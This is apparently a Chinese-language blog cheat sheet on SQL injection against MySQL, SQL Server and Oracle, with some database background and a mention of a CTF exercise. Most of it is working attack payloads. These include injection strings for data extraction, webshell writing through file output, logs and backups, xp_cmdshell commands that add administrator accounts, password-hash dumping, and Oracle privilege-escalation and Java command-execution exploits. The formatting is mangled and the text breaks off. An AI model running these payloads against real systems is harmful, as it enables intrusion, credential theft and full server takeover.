sql注入分类方式:
1 | 提交方式:GET POST COOKIE |
存在sql注入的代码
1 |
|
0x01 Mysql
Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
1.1.1 判断是否具有读写权限
初步判断当前用户是否对
mysql.user
表有访问权限:1
2and (select count(*) from mysql.user)>0#
and (select count(file_priv) from mysql.user)>0#解析:mysql.user的file_priv用于确定用户是否可以执行SELECT INTO OUTFILE和LOAD DATA INFILE命令,这两条语句也可以判断数据库用户数量
root用户执行的结果:
test用户执行结果:
可见低权限用户不能读取mysql.user表,那有读写权限的几率也小
更多mysql.user表的信息,包含创建用户,查看用户权限==>https://www.cnblogs.com/liuhaidon/archive/2019/09/12/11511129.html本地查看权限
通过SHOW VARIABLES LIKE “secure_file_priv”查看信息1
2
3
4
5mysqld --secure_file_priv=null(不允许导入导出)
mysqld --secure_file_priv=/tmp/(导入导出只允许在/tmp目录下)
mysql --secure_file_priv=(任意导入导出)Linux下默认配置文件位置:
/etc/mysql/mysql.conf.d/mysqld.cnf
A、Load_file()用来读取文件,只能读取绝对路径的文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
1 | id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制) |
B、into outfile函数用来写文件,也是只能写绝对路径的文件
1 | ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php' |
C、通过FIELDS TERMINATED BY写入文件
1 | mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e; |
FIELDS TERMINATED BY为在输出数据的字段中添加FIELDS TERMINATED BY的内容,如果字段数为1,则无法进行添加,也就是说这个的限制条件是起码要有两个字段的。
D、LINES STARTING BY写入shell
用法与LINES TERMINATED BY一样,payload如下
1 | mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e; |
C、sqlnuke工具遍历可能存在写入权限的目录
有时会遇到不知道网站绝对路径的情况,这时候可以用github的sqlnuke工具,遍历字典文件查看可注入的点,也可以将字典文件载入burpsuite使用
地址
潇湘信安的教程
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本
1 | 1.判断是否可以注入 |
1.2.2 适用于Mysql 5.0以上版本支持查表查列
1 | 1.先判断是否可以注入 |
1.3 Mysql报错注入
多种报错注入方式:
1 | and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
1.4 Mysql盲注
基于布尔型注入
1 | id=1 and (select length(user()))=20 # 返回正常页面 长度20位 |
更多的截取函数:left、mid、substring、right、substr
基于时间型的注入
1 | 1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0)) |
1.5 Mysql三步写shell
查数据库目录
1 | show variables like '%general%'; |
猜测根目录
1 | select @@basedir; |
设置日志文件
1 | set global general_log_file='C:\phpstudy\PHPTutorial\WWW\Test\1234.php'; |
设置双反斜杠防止转义
1 | set global general_log_file=’C:\\phpstudy\\PHPTutorial\\WWW\\1234.php’; |
知道路径之后…三步拿SHELL
1 | set global general_log='on'; |
1.6 慢日志查询写shell
也可以通过慢查询的方法写shell,但是只有查询时间大于long_query_time才会被记录,因此可以设置long_query_time为一个很小的数值
- 优点:在secure_file_priv为NULL时也可以使用
1 | set global general_log on; |
访问/var/www/html/helpyou2findflag.php
即可
例题:2021深育杯Easy SQL
0x02 SQLServer
SQLServer是微软出的,因此简称也叫MssqlServer
数据库的创建和连接==>https://blog.csdn.net/dyw_666666/article/details/83244011
SQLServer基础知识
判断是MSSqlServer方法
若在返回的信息中有类似“[Microsoft][ODBC SQL Server Driver][SQL Server]”的字样,关键在于:“Microsoft”和“SQL Server”,就可以判断出目标为MSSQL数据库。MSSQL通常和ASP脚本搭配,也有和php或jsp搭配的,但很少见。我们还是从ASP+MSSQL入手。针对这种数据库,权限的判断很重要,如果有足够的权限,我们就不用像ACCESS那样逐字猜解那么麻烦了。
exists(select*from sysobjects) 语句执行成功(sysobjects表是SQLServer特有的)
SQLServer的库
SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。
master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
sysobjects表
SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
通过系统表sysobjects可以注出该数据库中的所有表和内容。
列名 | 数据类型 | 描述 |
---|---|---|
name | sysname | 对象名,常用列 |
id | int | 对象标识号 |
xtype | char(2) | 对象类型。常用列。xtype可以是下列对象类型中的一种: C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 L = 日志 FN = 标量函数 IF = 内嵌表函数 P = 存储过程 PK = PRIMARY KEY 约束(类型是 K) RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR = 触发器 U = 用户表 UQ = UNIQUE 约束(类型是 K) V = 视图 X = 扩展存储过程 |
uid | smallint | 所有者用户对象编号 |
info | smallint | 保留。仅限内部使用 |
status | int | 保留。仅限内部使用 |
base_schema_ ver | int | 保留。仅限内部使用 |
replinfo | int | 保留。供复制使用 |
parent_obj | int | 父对象的对象标识号(例如,对于触发器或约束,该标识号为表 ID)。 |
crdate | datetime | 对象的创建日期。 |
ftcatid | smallint | 为全文索引注册的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0 |
schema_ver | int | 版本号,该版本号在每次表的架构更改时都增加。 |
stats_schema_ ver | int | 保留。仅限内部使用。 |
type | char(2) | 对象类型。可以是下列值之一: C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 FN = 标量函数 IF = 内嵌表函数 K = PRIMARY KEY 或 UNIQUE 约束 L = 日志 P = 存储过程 R = 规则 RF = 复制筛选存储过程 S = 系统表 TF = 表函数 TR = 触发器 U = 用户表 V = 视图 X = 扩展存储过程 |
userstat | smallint | 保留。 |
sysstat | smallint | 内部状态信息 |
indexdel | smallint | 保留 |
refdate | datetime | 留用 |
version | int | 保留 |
deltrig | int | 保留 |
instrig | int | 保留 |
updtrig | int | 保留 |
seltrig | int | 保留 |
category | int | 用于发布、约束和标识 |
cache | smallint | 保留 |
例子: |
1 | 查看当前数据库所有表的信息 |
SQLServer基础查询
1 | select @@version; 查询数据库的版本 |
可以用@@servicename=host_name()来判断是否站库分离
各个系统表
1 | select * from sysaltfiles;--主数据库 保存数据库的文件 |
用户权限:
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
- db权限:文件管理,数据库操作等权限 users-administrators
- public权限:数据库操作 guest-users
1
2
3
4
5
6判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
- SA(System Admin)权限我们可以直接执行命令,DB_OWNER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
SA权限
开启xp_cmdshell执行命令
1 | select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' |
判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了
如果xp_cmdshell没有开启或者开启了但是执行命令失败可以用下列命令开启
1 | execute('sp_configure "show advanced options",1') #将该选项的值设置为1 |
尝试添加Guest激活后加入administrators组
1 | exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码 |
使用sp_oacreate执行系统命令
使用下面命令查看是否可使用 sp_oacreate 执行系统命令
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami' |
当出现”SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程 ‘sys.sp_OACreate’ 的访问”的时候使用以下命令打开
1 | EXEC sp_configure 'show advanced options', 1; |
需要注意的是使用sp_oacreate执行系统命令没有回显
可以用以下命令创建用户hack
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add' |
DB_OWNER权限
LOG备份Getshell
DB_OWNER权限的用户的攻击方式是通过写入备份来写SHELL
SQLServer常见的备份策略:
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务日志备份
利用前提:
- 目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
- 知道网站的绝对路径
- 该注入支持堆叠注入
1 | alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式 |
实际执行中提示将两个backup log改为backup database,之后成功执行!
生成shell成功(2.php含shell)
注意:需要选择有备份文件的数据库!!!
权限差异备份GetShell
利用前提:
- 知道网站的绝对路径
- 该注入支持堆叠注入
利用过程:
- 完整备份一次(保存位置当然可以改)
1
2backup database 库名 to disk =
'c:\ddd.bak';-- #可以换成十六进制表示形式 - 创建表并插入数据
1
2
3
4create table [dbo].[dtest] ([cmd]
[image]);--
insert into dtest(cmd)
values(0x3C25657865637574652872657175657374282261222929253E);-- #插入一句话木马<%execute(request("a"))%> - 进行差异备份
1
2
3backup
database 库名 to disk='目标位置\d.asp' WITH
DIFFERENTIAL,FORMAT;--
SQLServer Union查询
1 | 1.判断是否存在注入 |
SQLServer 延时注入
1 | 判断是否是SA权限 |
根据响应时间判断执行是否正确
SQLServer 盲注
1 | 判断数据库个数 |
SQLServer报错注入
1 | 爆列名 |
SQLServer获取权限的奇巧淫技
利用前提:
- 目标网站注入支持堆叠注入
- 当前权限是SA权限
- 使用sqlmap的 –os-shell 无法获取到权限
方法:我们这里是通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径。
假设目标网站系统有一个test.txt文件,实际中也可以用index.asp或者index.php
1 | 查找目标机器C盘下的test.txt文件 |
- 利用过程:
- 创建hack表,并添加tmp字段
1
create table hack (tmp varchar(1000));--
- 查找test.txt 路径这时候查找到了test.txt得到了网站路径就可以写shell
1
2
3
4查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--
或
;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';-- - 写shell将一句话木马写入目标网站根目录,并命名为shell.php。注意这里的一句话木马的 <和>前要加上^
1
1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--
0x03 Oracle
前置知识
Oracle的特性是使用实例来连接数据库,一个实例连接一个数据,一个数据库能被多个实例打开。如下
1 | jdbc:oracle:thin:@localhost:1521:orcltest(orcltest就是实例名) |
连接方式
Oracle操作SQL语句有两种方式:
navicat远程连接
命令行连接
1
2sqlplus
输入账号密码
表空间
- Oracle数据库是通过表空间来存储物理表的,表空间是数据库的额逻辑划分,隶属数据库实例下面。
一个数据库实例有N个表空间,一个表空间下有N个表,因此有了实例就可以创建表空间。
创建表空间
1 | //简易创建 |
参数解释:
- mytablespace : 表空间名称
- datafile: 指定表空间对应的数据文件(位置)
- size:表空间的初始大小
- autoextend on :自动增长
查看表空间是否创建成功
用户
Oracle的用户分为三类:
- 终端用户(End User)
- 应用程序员(Application Programmer)
- 数据库管理员(DBA)
创建表空间之后需要为表空间指定一个用户进行操作
创建用户
1 | Create user testuser identified by testT123 default tablespace hack |
授予用户权限
1 | grant connect to testuser |
查看用户
1 | //查看当前用户 |
表
查看表所属的表空间
1 | select table_name,tablespace_name from all_tables where table_name='FILE$'; |
查看表结构
1 | desc t_student |
profile配置文件
profile配置文件包括两部分:密码配置和kernel资源配置
系统默认存在DEFAULT和PROFILE,如果不做特殊指定指定,创建用户时默认使用的PROFILE是DEFAULT
查看profile
1 | select * from dba_profiles |
重要配置:
口令配置 | 口令参数 | 功能 |
---|---|---|
账号锁定次数 | FAILED_LOGIN_ATTEMPTS | 指定连续登录最大连续登录失败次数(次数) |
账号锁定时间 | PASSWORD_LOCK_TIME | 指定账号锁定时间(天) |
密码历史策略 | PASSWORD_REUSE_TIME | 指定口令可重置时间(天) |
密码历史策略 | PASSWOD_REUSE_MAX | 用户可指定口令在重用前需改变的次数(次数) |
密码有效策略 | PASSWORD_LIFE_TIME | 用于指定口令有效期(天) |
密码有效策略 | PASSWORD_GRACE_TIME | 用于指定口令宽限期(天) |
环境安装
这里使用docker进行安装测试
参考链接:https://www.jianshu.com/p/27a36d83fc10
1 | docker pull alexeiled/docker-oracle-xe-11g |
连接信息:
- 连接类型:Basic
- 主机地址:ip
- 端口:49161
- 实例:xe
- 用户名:system
- 密码:oracle
使用navicat连接
或者进入docker
1 | sqlplus |
基础信息
基础语法
既然要了解Oracle
,那么Oracle
的基础语法一定要会,这里就默认有mysql
基础了。讲一下和mysql
不一样的地方。
1 Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录
然后就是sql
语句的几个不同点。
sql
语句中必须要加 select 指名表名。也可以使用dual
表进行查询。Oracle
中只有null
这个概念,没有空字符串这个概念,空字符串就是null
。Oracle
和sqlite
有点像,都是使用||
当做字符串的连接符。所以在sql
注入的时候自然也就有了replace
注入。Oracle
的单引号和mysql
是一样的,不过双引号是用来消除系统关键字的。我们曾经看到的
rownum
是真是存在的。并且oracle
中没有limit
只能用下面的方式代替:1
select * from pyy where rownum=1;
单行注释采取和
sqlite
相同的--
。而多行注释符采用/**/
。
系统表
Oracle
的系统表:
- dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
- all_tables : 当前用户有权限的表的信息
- user_tables: 当前用户名下的表的信息
- DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全。范围是:
1 | dba_tables >= all_tables >= user_tables |
权限和用户
ORACLE系统提供三种权限:Object 对象级、System 系统级、Role 角色级,这些权限可以授予给用户、特殊用户public或角色。
如果授予一个权限给特殊用户”Public”(用户public是oracle预定义的,每个用户享有这个用户享有的权限),那么就意味作将该权限授予了该数据库的所有用户
对管理权限而言,角色是一个工具,权限能够被授予给一个角色,角色也能被授予给另一个角色或用户。用户可以通过角色继承权限,简单讲就是为了简化权限的分配,如下图所示:
权限被大体分为两类:
- 系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。
- 实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)
系统权限
- DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
- RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
- CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
实体权限
简单说就是用户对表、视图、存储过程等有什么权限
- 表权限:SELECT、DELETE、UPDATE、INSERT、ALTER
- 视图权限:SELECT、DELTE、INSERT、UPDATE
- 过程、函数、程序包权限:EXECUTE、DEBUG
用户
一般oracle数据库安装成功后会创建几个默认用户
sys
、system
、public
等。一般普通用户拥有connect、resource角色,而管理员拥有connect、resource、dba角色
系统权限只能由DBA用户授出:sys, system(最开始只能是这两个用户)
创建用户
1
2
3Create user user50 identified by user50;
//修改密码
alter user test identified by test;创建user50,密码是user50
删除用户
1
drop user 用户名 cascade;
收回权限
1
Revoke connect, resource from user50;
权限授予
1 | grant connect, resource, dba to 用户名1 [,用户名2]...; |
- 注:普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收。
- 授予所获权限
1 | grant connect, resorce to user50 with admin option; //可以传递所获权限。 |
1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。
2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。
查看所有角色:
1
select * from dba_roles;
当前用户被激活的全部角色:
1
select * from session_roles;
当前用户被授予的角色:
1
select * from user_role_privs;
当前用户是否为DBA:
1
select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA';
当前用户所拥有的全部权限:
1
select * from session_privs;
当前用户的系统权限:
1
select * from user_sys_privs;
当前用户的表级权限:
1
select * from user_tab_privs;
查询某个用户所拥有的系统权限:
1
select * from dba_sys_privs;
查看角色(只能查看登陆用户拥有的角色)所包含的权限:
1
select * from role_sys_privs;
查看用户的java权限(用户名必须大写):
1
2
3
4
5
6select * from user_java_policy where grantee_name='SCOTT';
-- 下面这样在sqlplus中输出会友好一些
COL TYPE_NAME FOR A30;
COL NAME FOR A30;
COL ACTION FOR A10;
SELECT TYPE_NAME, NAME, ACTION FROM user_java_policy WHERE grantee_name = 'TEST4';
更多关于角色和用户的信息:https://www.cnblogs.com/yw0219/p/5855210.html
查询数据
获取数据库版本
1
2
3
4SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
具体注入的语句:
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%25') from dual -- +获取操作系统版本
1
2SELECT banner FROM v$version where banner like 'TNS%';
http://127.0.0.1/oracle?id=99' union select 1,'a',(SELECT banner FROM v$version where banner like 'TNS%25') from dual -- +获取当前用户权限的所有数据库
1
SELECT DISTINCT owner, table_name FROM all_tables;
获取当前数据库
1
2
3
4SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;获取字段名和表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34SELECT user FROM dual;获取当前数据库用户
SELECT username FROM all_users ORDER BY username;列出所有用户
SELECT name FROM sys.user$; — priv;列出所有用户
列出密码哈希:
SELECT name, password, astatus FROM sys.user$ — priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ — priv; 11g
获取数据库所有用户:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv;
SELECT * FROM session_privs; 获取当前用户权限
SELECT * FROM dba_sys_privs -- priv; 获取所有用户权限
获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
获取所有数据库用户密码
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g;
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g;
列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;
获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
SELECT name FROM V$DATAFILE; 获取DB文件路径常用函数
Initcap 将首字母大写,其余字母全部小写。
Lower 将所有字母全部转为小写。
Upper 将所有字母全部转为大写。
Concat 链接多个字符串,效果等同于
||
。SELECT Concat ('a', 'b') FROM dual 结果:ab Select 'a' || 'b' from dual 结果:ab
1
2
3
4
5
6
7
8
9
10
11
12
* trim 清除两边的空格
### 经典注入
1.查询所有数据库
由于Oralce没有库名,只有表空间,所以Oracle没有提供数据库名称查询支持,只提供了表空间名称查询。
```sql
select * from v$tablespace;--查询表空间(需要一定权限)
select tablespace_name from dba_data_files group by tablespace_name;
2.查询当前数据库中所有表名
1 | select * from user_tables; |
3.查询指定表中的所有字段名
1 | select column_name from user_tab_columns where table_name = 'table_name'; |
4.查询指定表中的所有字段名和字段类型
1 | select column_name, data_type from user_tab_columns where table_name = 'table_name'; |
查字段
1
select column_name from table_name;
其他查询
1 | 1 当前用户权限 (select * from session_roles) |
寻找注入点
注意:尽量不要使用类似and 1=1
这样的语句来判断是否含有注入点。我们可以使用加减乘除的方式来哦安短是否存在注入。因为注入的本质就是你写进去的数据被成了代码执行。
1 | #通过 <> 来判断 |
当然,上面的都是一些不带引号的注入点,如果带引号怎么办呢?
1 | #通过<>来判断 |
注意:尽量使用+代替%20
联合查询
1 | Union select null,null,null 从第一个null开始加’null’,得到显示位 |
手工显错注入
1 | 最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限 |
盲注
基于布尔型的盲注:
1 | ?id=7782' and length((SELECT name FROM v$database))=4-- 获取数据库名长度 |
利用字符串相关函数,对逐个字符进行比较猜解来获取数据
1 | http://127.0.0.1/oracle?id=99' and (select substr(user, 1, 1) from dual)='O' -- + |
或者利用decode函数+除0(关于decode函数看上面基本函数)
1 | http://127.0.0.1/oracle?id=99' and 1=(select decode(substr(user, 1, 1), 'O', (1/1),0) from dual) -- + |
或者利用instr函数来进行布尔盲注(从一个字符串中查找指定子串的位置,查询结果中的位置,未找到便返回0,可以通过对子串位置进行遍历和迭代,获取到数据)
1 | ?username=user'and 1=(instr((select user from dual),'ADMIN')) -- |
基于时间延迟的盲注:
1 | ?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)-- |
利用时间延迟函数配合replace和substr以及decode来进行注入
1 | select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'O', 10))=1; |
也可以利用获取大量数据的语句
1 | select count(*) from all_objects |
报错注入
- utl_inaddr.get_host_name
1 | 在11g之前不需要任何权限,在11g之后当前的数据库用户必须有网络访问权限 |
- ctxsys.drithsx.sn
1 | 处理文本的函数,传入参数错误的时会报错返回异常 |
- CTXSYS.CTX_REPORT.TOKEN_TYPE
1 | 用于处理文本,也会出现参数错误返回异常 |
- XMLType
1 | XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据 |
- dbms_xdb_version.checkin
1 | select dbms_xdb_version.checkin((select user from dual)) from dual; |
- dbms_xdb_version.makeversioned
1 | select dbms_xdb_version.makeversioned((select user from dual)) from dual; |
- dbms_xdb_version.uncheckout
1 | select dbms_xdb_version.uncheckout((select user from dual)) from dual; |
- dbms_utility.sqlid_to_sqlhash
1 | SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual; |
- ordsys.ord_dicom.getmappingxpath
1 | select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual; |
- UTL_INADDR.get_host_name
1 | select UTL_INADDR.get_host_name((select user from dual)) from dual; |
- UTL_INADDR.get_host_address
1 | select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual; |
权限提升
原理:https://loong716.top/posts/Oracle_Database_Security/#4-%E6%9D%83%E9%99%90%E6%9B%B4%E6%94%B9
SET_OUTPUT_TO_JAVA
测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
利用DBMS_JAVA.SET_OUTPUT_TO_JAVA()
函数的特性来提升只拥有CREATE SESSION
的用户的权限
1 | -- 注意替换GRANT语句中的用户名 |
可以看到普通用户已经成为DBA,并拥有DBA的权限
GET_DOMAIN_INDEX_TABLES
影响版本:Oracle Database <= 10g R2 (未打补丁的情况下)
测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
这个利用的是PL/SQL Injection来提升权限
1 | select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2'''';END;'';END;--','SYS',0,'1',0) from dual; |
LT.FINDRICSET
测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
CREATE PROCEDURE
1 | -- 注意修改其中的用户名 |
注入环境中可使用dbms_xmlquery.newcontext
来执行:
1 | select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; |
SDO_DROP_USER_BEFORE
测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
这个是一个触发器(trigger)漏洞
触发器在数据库里以独立的对象存储,它与存储过程和函数不同的是,存储过程与函数需要用户显示调用才执行,而触发器是由一个事件来启动运行。
1 | -- 一定要有这一句,不然后面的Cursor value无法输出 |
在drop user语句中填入对应的Cursor value,并插入数据来触发条件,成功获取DBA权限:
命令执行
1. DBMS_XMLQUERY
测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
CREATE PROCEDURE
(某些版本是否需要CREATE PROCEDURE存疑)
创建java source:
1 | 1 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; |
创建函数:
1 | 1 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; |
可以通过查询OBJECT_ID来判断函数是否创建成功:
1 | 1 select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'; |
赋予需要的三个java权限:
当前用户为DBA时,通常只需要为该用户赋予第一个执行权限即可,实际情况中具体需要哪一个可以直接执行函数来看报错提示
一般报错如下:
1 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / |
执行命令:
1 | 1 select LinxRUNCMD('/sbin/ifconfig') from dual; |
2. 创建存储进程执行命令
测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit
权限要求:
CREATE SESSION
CREATE PROCEDURE
有时执行命令也会碰到这种报错,此时需要为用户赋予java的对应权限,最好执行前先执行一次dbms_xmlquery中赋予那三个权限的命令
如果你已经创建完javae函数在执行命令时发现了这个报错,那么要再执行一次2.sql,然后再执行javae函数
将下面文件分别保存为
1.sql:
1 | 1 2 3 4 5 6 7 8 9 10 11 12 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission', '<<ALL FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / |
2.sql:
